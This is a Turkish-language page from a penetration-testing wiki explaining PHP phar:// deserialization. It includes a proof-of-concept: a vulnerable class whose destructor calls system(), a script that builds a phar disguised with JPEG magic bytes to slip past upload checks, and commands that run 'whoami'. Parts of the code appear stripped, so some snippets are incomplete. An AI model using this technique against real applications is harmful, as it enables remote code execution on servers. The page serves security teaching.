# phar:// deserialization {{#include ../../banners/hacktricks-training.md}} **Phar** dosyaları (PHP Archive) **serileştirilmiş formatta meta veriler içerir**, bu nedenle, ayrıştırıldığında bu **meta veri** **deserileştirilir** ve **PHP** kodu içinde bir **deserileştirme** zafiyetini istismar etmeye çalışabilirsiniz. Bu özelliğin en iyi yanı, bu deserileştirmenin **file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()** gibi PHP kodunu değerlendirmeyen PHP fonksiyonları kullanılsa bile gerçekleşmesidir. Yani, bir PHP web uygulamasının **`phar://`** protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir **sınıf** buluyorsunuz: ```php:vunl.php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path ``` Bir **phar** dosyası oluşturabilirsiniz ki yüklendiğinde **bu sınıfı kötüye kullanarak rastgele komutlar** çalıştırır: ```php:create_phar.php data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` Not edin ki **JPG'nin sihirli baytları** (`\xff\xd8\xff`), phar dosyasının başına **olası** dosya **yükleme** **kısıtlamalarını** **aşmak** için eklenmiştir.\ `test.phar` dosyasını şu şekilde derleyin: ```bash php --define phar.readonly=0 create_phar.php ``` Ve zayıf kodu istismar ederek `whoami` komutunu çalıştırın: ```bash php vuln.php ``` ### Referanslar {{#ref}} https://blog.ripstech.com/2018/new-php-exploitation-technique/ {{#endref}} {{#include ../../banners/hacktricks-training.md}}